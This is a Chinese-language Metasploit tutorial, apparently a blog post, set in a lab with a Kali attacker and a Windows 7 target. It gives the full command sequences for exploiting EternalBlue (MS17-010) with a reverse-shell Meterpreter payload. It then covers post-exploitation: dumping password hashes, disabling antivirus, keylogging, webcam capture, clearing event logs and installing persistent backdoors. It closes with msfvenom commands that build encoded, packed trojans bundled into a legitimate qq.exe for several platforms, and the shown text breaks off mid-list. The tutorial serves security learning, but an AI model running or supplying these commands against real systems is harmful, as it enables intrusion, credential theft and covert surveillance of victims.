目录

一、实验环境

二、简介:

三、Metasploit的安装和更新升级

1. 一键安装MSF

2. MSF的更新升级

2.1 非kali环境下更新升级MSF

2.2 kali环境下更新升级MSF

四、使用方法

1. 基础使用

2. `MSF`中加载自定义的`exploit‘ 模块

3. 漏洞利用(exploit)

4. 攻击载荷(payload)

4.1 payload模块路径

4.2 Metasploit中的 Payload 模块主要有以下三种类型

5. Meterpreter

5.1 Meterpreter是如何工作的?

5.2 Meterpreter的特点

6. MS17_010(永恒之蓝)

6.1 查找漏洞相关模块

6.2 利用`Auxiliary辅助探测模块`对漏洞进行探测

6.3 使用`Exploit漏洞利用模块`对漏洞进行利用

6.4 Payload攻击载荷模块

7. 后渗透阶段

7.1 Post 后渗透模块

7.2 查看主机是否运行在虚拟机上

7.3 关闭杀毒软件

7.4 获取目标主机的详细信息

7.5 访问文件系统

7.6 上传/下载文件

7.6.1 下载文件

7.6.2 上传文件

7.7 权限提升

7.8 获取用户密码

7.9 运行程序

7.11 屏幕截图

7.12 创建一个新账号

7.13 启用远程桌面

7.14 键盘记录

7.15 进程迁移

7.16 禁止目标主机使用键盘鼠标

7.17 用目标主机摄像头拍照

7.18 常用扩展库介绍

7.18.1 load/use命令

7.18.2 run命令

7.19 生成持续性后门

7.19.1 启动项启动

7.19.2 服务启动

7.20 设置Socks代理

7.21 portfwd端口转发

7.22 清除事件日志

8. 导入并执行PowerShell脚本

9. 加载stdapi

10. 升级Session


一、实验环境

实验环境
靶机windows7企业版虚拟机:192.168.230.129(IP地址)
攻击机kali虚拟机:192.168.230.130

二、简介

+=+

   Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

三、Metasploit的安装和更新升级

        1. 一键安装MSF

以下是在非kali的linux系统下安装MSF框架的方法,kali中的默认存在此工具的

#一键安装MSF:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstalladduser msf    #添加msf用户
su msf                                #切换到msf用户
cd  /opt/metasploit-framework/bin     #切换到msf所在的目录 
./msfconsole                          #以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库  #也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了:
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole#备注:
#初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,请使用 msfdb reinit 命令,然后使用非root用户初始化数据库。        # 非kali环境下更新升级MSF:
msfupdate							   # MSF后期的升级
# kali环境下更新升级MSF:
apt update 							   # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
apt upgrade 						   # 更新已安装的软件包,不删除旧包;
apt full-upgrade					   # 升级包,删除旧包

2. MSF的更新升级

2.1 非kali环境下更新升级MSF

命令:

msfupdate  #MSF后期更新升级

2.2 kali环境下更新升级MSF

apt update    # 更新安装包信息;只检查,不更新(已安装的软件包是否有可用的更新,给出汇总报告)
apt upgrade    # 更新已安装的软件包,不删除旧包;
apt full-upgrade    # 升级包,删除旧包

四、使用方法(使用为1,其他为讲解)

        1. 基础使用

msfconsole    #第一步进入框架
search  ms17_010    #第二步使用search命令查找漏洞ms17_010(永恒之蓝)
use exploit/windows/smb/ms17_010_eternalblue    #第三步使用use进入模块
info    #第四步使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp    #第五步设置攻击载荷
show options    #第七步查看模块需要配置的参数
set  RHOST  192.168.230.129    #第八步设置参数
run    #第九步攻击

可以将此命令写入.rc文件中然后运行msfconsole -r configure.rc进行自动攻击!

        2. `MSF`中加载自定义的`exploit‘ 模块

可以参考 安全小菜鸟up的文章https://blog.csdn.net/weixin_43806577/article/details/100086592icon-default.png?t=N7T8https://blog.csdn.net/weixin_43806577/article/details/100086592

        3. 漏洞利用(exploit)

我们常说的exp,可以理解为对漏洞进行攻击的代码集文件,可以在

/usr/share/metasploit-framework/modules/exploits

路径中看到针对不同平台的exploit(如下图所示)

我们进入windows平台看一下

我们进入smb服务,本文章核心操作的漏洞“永恒之蓝”即在其中,因为metasploit(漏洞检测工具)是用Ruby语言编写的,所以漏洞利用代码通常是以.rb结尾的文件。

        4. 攻击载荷(payload)

  PayloadPayload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。小偷(payload)用撬棍(漏洞)撬开了门(端口)进到了家里(目标系统),你用电话告诉小偷说,把马桶刷了(利用命令控制目标系统)。(个人理解)
  ShellcodeShellcodepayload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell

4.1 payload模块路径

/usr/share/metasploit-framework/modules/payloads

4.2 Metasploit中的 Payload 模块主要有以下三种类型

Single(小偷)
  是一种完全独立Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。

Stager(小偷和他的手机)
  这种Payload 负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条 tcp 连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)

Stage
  是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:

⚪Single Payload的格式为:
<target>/ <single>  如:windows/powershell_bind_tcp
⚪Stager/Stage Payload的格式为:
<target>/ <stage> / <stager>  如:windows/meterpreter/reverse_tcp

由此可看,我们此案例使用的是Stager/Stage Payload格式

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:

注:
        在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload
        而windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个

Stager Payload(reverse_tcp)组成。

例如 :21  payload/windows/x64/meterpreter/bind_ipv6_tcp   normal  No    Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager

Stager中几种常见的payload:

windows/meterpreter/bind_tcp       #正向连接
windows/meterpreter/reverse_tcp    #反向连接,常用
windows/meterpreter/reverse_http   #通过监听80端口反向连接
windows/meterpreter/reverse_https  #通过监听443端口反向连接

我们此次永恒之蓝便是用的反向链接。

正向连接使用场景
  我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了。

反向连接使用场景
  我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景
  被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信。

5. Meterpreter

        Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload(小偷)。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

5.1 Meterpreter是如何工作的?

        首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

会话连接——处理dll文件——Meterpreter核心代码初始化——建立加密隧道——发送请求给Metasploit服务端——Metasploit服务端配置相应客户端——Meterpreter加载扩展(加密)

5.2 Meterpreter的特点

☆ Meterpreter完全驻留在内存,没有写入到磁盘。

☆ Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程。

☆ 默认情况下, Meterpreter的通信是加密的,所以很安全。

☆ 扩展性,许多新的特征模块可以被加载。

        我们在设置payloads 时,可以将payloads设置为:windows/meterpreter/reverse_tcp ,然后获得了meterpreter>之后我们就可以干很多事了!具体做的事,在我们下面的后渗透阶段都有讲!

6. MS17_010(永恒之蓝)

        永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。

6.1 查找漏洞相关模块

1、在kali命令行里面输入命令msfconsole,进入msf框架中:

msfconsole  #输入这个命令主要是进入msf渗透框架中

2.搜索MS17_010漏洞(永恒之蓝):

search ms17_010  #利用search命令,搜索漏洞相关利用模块

        这里找到了四个模块,前三个是漏洞利用模块,第四个是辅助模块,主要探测主机是否存在MS17_010漏洞。

6.2 利用`Auxiliary辅助探测模块`对漏洞进行探测

Auxiliary辅助探测模块
  该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

1、使用smb_ms17_010漏洞探测模块对smb_ms17_010漏洞进行探测:

use auxiliary/scanner/smb/smb_ms17_010

2、查看此模块需要配置的信息

show options  #查看这个模块需要配置的信息

yes(有必要配置的),no(非必要配置的)

3、设置要探测的远程目标:

注:RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞

set rhosts 192.168.230.100-192.168.230.130

此处读者可根据自己实验环境的靶机IP地址自主调整(IP范围越大等待时间越长)。

4、对上面设置的ip范围内的主机进行攻击:

exploit #run也可

注:有+号的就是可能存在漏洞的主机,这里有一个主机存在漏洞(靶机)

-号是无法建立链接的主机,*号是正在扫描的进度

6.3 使用`Exploit漏洞利用模块`对漏洞进行利用

1、选择漏洞攻击模块,对漏洞进行利用:

use exploit/windows/smb/ms17_010_eternalblue #注意顶级目录发生变化

2、查看这个漏洞的信息(info -d 可查看更详细的模块信息):

info

漏洞信息,作者单位,可用目标,是否支持检查,基础配置,有效载荷,说明,参考文献

3、查看可攻击的系统平台,显示当前攻击模块针对哪些特定操作系统版本、语言版本的系统:

show targets

本次靶机的系统为window7,符合模块条件,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。

6.4 Payload攻击载荷模块

        攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。(小偷)

1、查看攻击载荷:

show  payloads  #该命令可以查看当前漏洞利用模块下可用的所有Payload

2、设置攻击载荷:

set payload windows/x64/meterpreter/reverse_tcp

注:此处使用的是Metasploit中的 Payload 模块中Stager Payload类型,常用的反向连接。

3、查看模块所需配置的参数

show options

此处显示出来了攻击模组(永恒之蓝)和攻击载荷(反向连接)的配置需求。

4、设置攻击模组和载荷的参数

set RHOST 192.168.230.129   #设置RHOST,也就是要攻击主机的ip
set LHOST 192.168.230.130   #设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell
set lport 6666              #设置lport,也就是我们主机的端口,反弹shell到这个端口;如果我们这里不设置lport的话,默认是4444端口监听;

5、进行攻击(exploit或者run)

攻击成功,显示meterpreter(手机),实验中途win7的ip租约到期,dhcp重新分配了ip,此后靶机IP更变为192.168.230.132

7. 后渗透阶段

        运行了run命令之后,我们开启了一个reverse TCP监听器来监听本地的6666端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现:

我们输入:shell即可切换到目标主机的windows cmd_shell里面:

shell         #获取目标主机的cmd_shell权限
chcp 65001    #这里为了避免目标主机cmd_shell字符乱码,设置目标主机命令行的字符编码,65001是UTF-8

想要从目标机器shell推出到meterpreter,我们只需要输入:exit

meterpreter退出到MSF框架:

background   #把我们获得的meterpreter会话挂载到后台运行

查看前面获得的meterpreter_shell会话,最前面的数字是会话的id:

 sessions  -l    #查看获得的meterpreter_shell会话列表

输入sessions [id号]即可进入相应的meterpreter_shell中:

输入:shell即可进入 cmd 类型的控制,再输入:powershell,即可进入 powershell 类型的控制台。

shell中的基础命令:

sysinfo             									#查看目标主机系统信息
run scraper         									#查看目标主机详细信息
run hashdump        									#导出密码的哈希
load kiwi           									#加载mimikatz
ps                  									#查看目标主机进程信息
pwd                		 								#查看目标当前目录(windows)
getlwd              									#查看目标当前目录(Linux)
search -f *.jsp -d e:\                					#搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          					#将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      					#将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid             										#查看当前Meterpreter Shell的进程PID
migrate 1384        									#将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime           		 								#查看主机运行时间
getuid              									#查看获取的当前权限
getsystem           									#提权,获得的当前用户是administrator才能成功
run  killav        			 							#关闭杀毒软件
screenshot          									#截图
webcam_list         									#查看目标主机的摄像头
webcam_snap         									#拍照
webcam_stream       									#开视频
execute 参数 -f 可执行文件   							#执行可执行程序
run getgui -u test1 -p Abc123456    					#创建test1用户,密码为Abc123456
run getgui -e                							#开启远程桌面
keyscan_start                							#开启键盘记录功能
keyscan_dump                			 				#显示捕捉到的键盘记录信息
keyscan_stop                 							#停止键盘记录功能
uictl  disable  keyboard     							#禁止目标使用键盘
uictl  enable   keyboard     							#允许目标使用键盘
uictl  disable  mouse        							#禁止目标使用鼠标
uictl  enable   mouse        							#允许目标使用鼠标
load                        							#使用扩展库
run				             							#使用扩展库run exploit/windows/local/persistence lhost=192.168.230.130 lport=8888 #会自动连接192.168.230.130的8888端口,缺点是容易被杀毒软件查杀
portfwd add -l 9999 -r 192.168.230.132 -p 3389     		#将192.168.11.13的3389端口转发到本地的9999端口上,这里的192.168.100.158是获取权限的主机的ip地址
clearev                       #清除日志

7.1 meterpreter核心命令

Meterpreter的命令用法:

Meterpreter > ?

==========================================
核心命令:
==========================================
命令                           说明
-------                       ------------
?                             帮助菜单
background                    把当前会话挂到后台运行
bg                            background命令的别名
bgkill                        杀死后台meterpreter 脚本
bglist                        列出正在运行的后台脚本
bgrun                         执行一个meterpreter脚本作为后台线程
channel                       显示信息或控制活动频道
close                         关闭一个频道
detach                        分离Meterpreter会话(用于 http/https)
disable_unicode_encoding      禁用 unicode 字符串的编码
enable_unicode_encoding       启用 unicode 字符串的编码
exit                          终止 Meterpreter 会话
get_timeouts                  获取当前会话超时值
guid                          获取会话 GUID
help                          帮助菜单
info                          显示有关 Post 模块的信息
irb                           在当前会话中打开一个交互式 Ruby shell
load                          加载一个或多个 Meterpreter 扩展
machine_id                    获取连接到会话的机器的 MSF ID
migrate                       将服务器迁移到另一个进程
pivot                         管理枢轴侦听器
pry                           在当前会话上打开 Pry 调试器
quit                          终止 Meterpreter 会话
read                          从通道读取数据
resource                      运行存储在文件中的命令
run                           执行一个 Meterpreter 脚本或 Post 模块
secure                       (重新)协商会话上的 TLV 数据包加密
sessions                      快速切换到另一个会话
set_timeouts                  设置当前会话超时值
sleep                         强制 Meterpreter 安静,然后重新建立会话
ssl_verify                    修改 SSL 证书验证设置
transport                     管理运输机制
use                           不推荐使用的load命令别名
uuid                          获取当前会话的 UUID
write                         将数据写入通道

==========================================
Stdapi:文件系统命令
==========================================
命令                           说明
-------                       ------------
cat                           将文件内容读到屏幕上
cd                            切换目录
checksum                      检索文件的校验和
cp                            将源复制到目标
del                           删除指定文件
dir                           列出文件(ls 的别名)
download                      下载文件或目录
edit                          编辑文件
getlwd                        打印本地工作目录
getwd                         打印工作目录
lcd                           更改本地工作目录
lls                           列出本地文件
lpwd                          打印本地工作目录
ls                            列出文件
mkdir                         制作目录
mv                            将源移动到目标
pwd                           打印工作目录
rm                            删除指定文件
rmdir                         删除目录
search                        搜索文件
show_mount                    列出所有挂载点/逻辑驱动器
upload                        上传文件或目录

==========================================
Stdapi:网络命令
==========================================
命令                           说明
-------                       ------------
arp                           显示主机 ARP 缓存
getproxy                      显示当前代理配置
ifconfig                      显示界面
ipconfig                      显示接口
netstat                       显示网络连接
portfwd                       将本地端口转发到远程服务
resolve                       解析目标上的一组主机名
route                         查看和修改路由表

==========================================
Stdapi:系统命令
==========================================
命令                           说明
-------                       ------------
clearev                       清除事件日志
drop_token                    放弃任何活动的模拟令牌。
execute                       执行命令
getenv                        获取一个或多个环境变量值
getpid                        获取当前进程标识符
getprivs                      尝试启用当前进程可用的所有权限
getid                         获取服务器运行的用户的 SID
getuid                        获取服务器运行的用户
kill                          终止进程
localtime                     显示目标系统本地日期和时间
pgrep                         按名称过滤进程
pkill                         按名称终止进程
ps                            列出正在运行的进程
reboot                        重启远程计算机
reg                           修改远程注册表并与之交互
rev2self                      在远程机器上调用 RevertToSelf()
shell                         放入系统命令 shell
shutdown                      关闭远程计算机
steal_token                   尝试从目标进程窃取模拟令牌
suspend                       暂停或恢复进程列表
sysinfo                       获取有关远程系统的信息,例如OS 

==========================================
Stdapi:用户界面命令
==========================================
命令                           说明
-------                       ------------
enumdesktops                  列出所有可访问的桌面和窗口站
getdesktop                    获取当前的meterpreter桌面
idletime                      返回远程用户空闲的秒数
keyboard_send                 发送击键
keyevent                      发送按键事件
keyscan_dump                  转储击键缓冲区
keyscan_start                 开始捕获击键
keyscan_stop                  停止捕获击键
mouse                         发送鼠标事件
screenshare                   实时观看远程用户桌面
screenshot                    抓取交互式桌面的截图
setdesktop                    更改meterpreters当前桌面
uictl                         控制一些用户界面组件

==========================================
Stdapi:网络摄像头命令:
==========================================
命令                           说明
-------                       ------------
record_mic                    从默认麦克风录制音频 X 秒
webcam_chat                   开始视频聊天
webcam_list                   列出网络摄像头
webcam_snap                   从指定的网络摄像头拍摄快照
webcam_stream                 从指定的网络摄像头播放视频流

==========================================
Stdapi:音频输出命令:
==========================================
命令                           说明
-------                       ------------
play                          在目标系统上播放波形音频文件(.wav) 

==========================================
Priv:权限提升命令:
==========================================
命令                           说明
-------                       ------------
getsystem                     尝试将您的权限提升到本地系统的权限。

==========================================
Priv:密码数据库命令:
==========================================
命令                           说明
-------                       ------------
hashdump                      转储 SAM 数据库的内容

==========================================
Priv:Timestomp 命令:
==========================================
命令                           说明
-------                       ------------
timestomp                     操作文件 MACE 属性meterpreter >

7.2 Post 后渗透模块

该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

基础命令:

run post/windows/manage/migrate                			#自动进程迁移
run post/windows/gather/checkvm                			#查看目标主机是否运行在虚拟机上
run post/windows/manage/killav                			#关闭杀毒软件
run post/windows/manage/enable_rdp            			#开启远程桌面服务
run post/windows/manage/autoroute              			#查看路由信息
run post/windows/gather/enum_logged_on_users    		#列举当前登录的用户
run post/windows/gather/enum_applications       		#列举应用程序
run post/windows/gather/credentials/windows_autologin 	#抓取自动登录的用户名和密码
run post/windows/gather/smart_hashdump               	#dump出所有用户的hash

在meterpreter中输入sysinfo查看目标主机的信息

7.3 查看主机是否运行在虚拟机上

查看主机是否运行在虚拟机上,可以看出主机是在虚拟机环境:
命令:.

run post/windows/gather/checkvm

此处显示是vm中的虚拟机,是正确的。

7.4 关闭杀毒软件

拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,通过命令:

run killav

此处因为靶机上没有安装杀毒软件。

7.5 获取目标主机的详细信息

耗时几分钟,请耐心等待,他可以将目标机器上常见的信息收集起来然后下载保存到本地。

使用命令:

run scraper

7.6 访问文件系统

Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:

pwd     #查看当前目录
cd      #切换目标目录;
cat     #读取文件内容;
rm      #删除文件;
edit    #使用vim编辑文件
ls      #获取当前目录下的文件;
mkdir   #新建目录;
rmdir   #删除目录; 

7.7 上传/下载文件

7.7.1 下载文件

用法:download +本地机路径,下载完成后会给出下载到本地机的路径

命令:

download  file #命令可以帮助我们从目标系统中下载文件

7.7.2 上传文件

用法:upload + 本地机路径,可以提前用pwd查看目前merterpreter所在靶机的位置。

命令:

upload  file  #命令则能够向目标系统上传文件。

7.8 权限提升

        有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个 getsystem 命令,它可以使用多种技术在目标系统中实现提权。

        可以看到,当我们使用 getsystem进行提权后,用户身材为  NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。当我获取最高权限的时候,显示已经是系统用户了(最高权限用户)

getuid        #命令可以获取当前用户的信息
getsystem     #自动提权为系统权限

7.9 获取用户密码

请参考up Beyond My的文章MSF抓取密码_msfconsole minikze_Beyond My的博客-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/qq_42383069/article/details/123719343

7.10 运行程序

先查看目标主机安装了哪些应用:
命令:

run post/windows/gather/enum_applications  #查看目标主机安装了哪些应用

在meterpreter_shell命令行执行目标系统中的应用程序:
命令:

execute [参数] -f 指定的可执行文件-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程

7.11 屏幕截图

截图目标主机屏幕,可以看到,图片被保存到了/root目录下:
命令:

screenshot #截图目标主机屏幕

7.12 创建一个新账号

先查看目标主机有哪些用户,可以看到正在登陆的用户和历史登陆的用户。
命令:

run post/windows/gather/enum_logged_on_users  #查看目标主机有用户

在目标系统中创建一个新的用户账号的方法一:
命令:

run getgui -u 用户 -p 密码
-u: 指定用户
-p: 指定密码

注:这个命令创建用户失败了!

在目标系统中创建一个新的用户账号的方法二:
命令:

enable_rdp脚本:
run post/windows/manage/enable_rdp USERNAME=test2 PASSWORD=Abc123456  #添加用户
run post/windows/manage/enable_rdp                                    #开启远程桌面
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662            #将3389端口转发到6662

7.13 启用远程桌面

        当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

        首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),我们输入:run post/windows/manage/enable_rdp命令可以开启远程桌面。

1、在开启远程桌面会话之前,我们还需要使用idletime命令检查远程用户的空闲时长:

idletime #检查远程用户的空闲时长

两小时二十二分钟六秒

2、开启远程桌面:
命令:

run post/windows/manage/enable_rdp

然后我们就可以使用远程桌面用我们创建的用户远程登录目标主机了。由于上一步创建的用户没有被添加到远程桌面用户组中,所以这一步就没法演示。

7.14 键盘记录

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;
keyscan_dump:  #显示捕捉到的键盘记录信息
keyscan_stop:  #停止键盘记录功能

具体操作可以参考up PT_silver 的文章

3.6 Meterpreter 键盘记录_PT_silver的博客-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/qq_55202378/article/details/125950541?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169522122016800192262853%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169522122016800192262853&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-125950541-null-null.142%5Ev94%5Econtrol&utm_term=keyscan_start%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95&spm=1018.2226.3001.4187

7.15 进程迁移

        Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

在下面的例子中,我们会将Meterpreter跟 360huabao.exe绑定,并在登录进程中捕获键盘记录,以获得用户的密码,

        首先,我们需要使用:ps 命令查看目标设备中运行的进程:

我们可以使用gitpid命令查看我们当前merterpreter所占用的pid。

这里我们的思路是将merterpreter的进程藏在360huabao.exe(pid=2220)这个进程中,

如果读者大大实验的时候,出现失败可更换进程尝试,侵入某些系统进程可能会导致靶机卡机或者蓝屏,请慎重选择。

migrate + id  #本文此处id为目标进程的pid

再来getpid看一眼merterpreter的pid,更改成功。

7.16 禁止目标主机使用键盘鼠标

因为我虚拟机keyboard存在问题,所以只演示了禁止和允许使用鼠标,

​​​​​​​uictl disable keyboard    #禁止(允许)目标使用键盘
​​​​​​​uictl enable keyboard     #允许目标使用键盘
uictl disable mouse       #禁止(允许)目标使用鼠标
uictl enable mouse        #允许目标使用鼠标

7.17 用目标主机摄像头拍照

webcam_list    #获取目标系统的摄像头列表
webcam_snap    #从指定的摄像头,拍摄照片
webcam_stream  #从指定的摄像头,开启视频

因为小生是台式机没有摄像头,读者大大可以参考up小白骏贤的文章

网安小白学kali——植入木马控制靶机摄像头_kali连接摄像头_小白骏贤的博客-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/weixin_58457050/article/details/130450677?ops_request_misc=&request_id=&biz_id=102&utm_term=kali%E4%B8%ADwebcam&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-130450677.142^v94^control&spm=1018.2226.3001.4187

7.18 常用扩展库介绍

        Meterpreter有很多扩展库,它们可以提供不同的功能和工具,以帮助渗透测试人员或攻击者执行各种任务,读者大大想使用哪个直接百度其用法或者私信小生也是可以的。以下是一些常用的Meterpreter扩展库:

  1. stdapi:提供了一些基本的操作系统交互功能,如文件系统操作、进程管理、网络服务、用户管理等。
  2. extapi:提供了一些扩展的操作系统交互功能,如系统信息获取、网络服务、进程注入等。
  3. priv:提供了一些特权提升的功能,如令牌窃取、密码哈希窃取、服务远程执行等。
  4. hashdump:用于从Windows系统中获取用户密码哈希的工具。
  5. keyscan_start:用于记录目标用户的键盘输入信息。
  6. screenshot:用于捕获目标系统的屏幕截图。
  7. webcam_snap:用于捕获目标系统的摄像头截图。
  8. record_mic:用于记录目标系统的麦克风输入信息。
  9. getsystem:用于提升Meterpreter进程的权限至系统级别。
  10. incognito:用于隐藏Meterpreter进程和网络连接,以躲避安全软件的检测。
  11. timestomp:用于修改文件的时间戳,以掩盖痕迹或逃避检测。
  12. services:用于管理目标系统中的服务。
  13. shutdown:用于关闭目标系统。
  14. psexec:用于在目标系统中执行命令或脚本。
  15. dllinject:用于将DLL注入到目标进程的内存中。
  16. fileedit:用于编辑目标系统中的文件。
  17. upload/download:用于上传或下载文件到目标系统中。
  18. portfwd:用于在Meterpreter和目标系统之间建立端口转发。
  19. routes:用于管理Meterpreter的路由表。
  20. clipboard:用于获取或设置目标系统的剪贴板内容。
  21. keylogger_start/stop:用于启动或停止键盘记录器。
  22. screen_capture:用于捕获目标系统的屏幕录像。
  23. webcam_chat:用于与目标系统进行视频聊天。
  24. checkvm:用于检测目标系统是否运行在虚拟机中。
  25. hide_window:用于隐藏Meterpreter的窗口。
  26. view_event_logs:用于查看目标系统的事件日志。
7.18.1 load/use命令

基础用法演示:

load/use     #加载模块
load -l      #列出所有可用的扩展
load -help   #帮助;说明

1、输入命令:load -l会列出所有可用的扩展:

2、输入load后,双击Tab键列出可用扩展(不用打回车):

7.18.2 run命令

run+双击Tab键,会列出所有的已有的脚本(不用打回车):

run   #执行一个已有的模块
#run+双击Tab键,会列出所有的已有的脚本;
#常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。

7.19 生成持续性后门

1、生成木马​​​​​​​

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.230.130 lport=9999 -f exe -o test.exe
#lhost是我们的主机ip,lport是我们主机的用于监听的端口
 
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.230.130 lport=9999 -i 3 -e x86/shikata_ga_nai  -f exe -o test.exe
#编码3次
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 lhost=192.168.230.130 lport=9999 -x qq.exe -f exe -o test.exe
#编码20次、捆绑正常的32位qq.exe,生成32位的test.exe文件

2、加壳(常见加密壳和压缩壳)

upx -9 test.exe -k -o test2.exe

介绍一下其他格式的木马:

安卓app:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -o ~/Desktop/test2.apk  
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f  elf > shell.elf
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.10.27 LPORT=8888 -f macho >  shell.macho
PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.27 LPORT=4444 -f raw -o test.php
ASP:
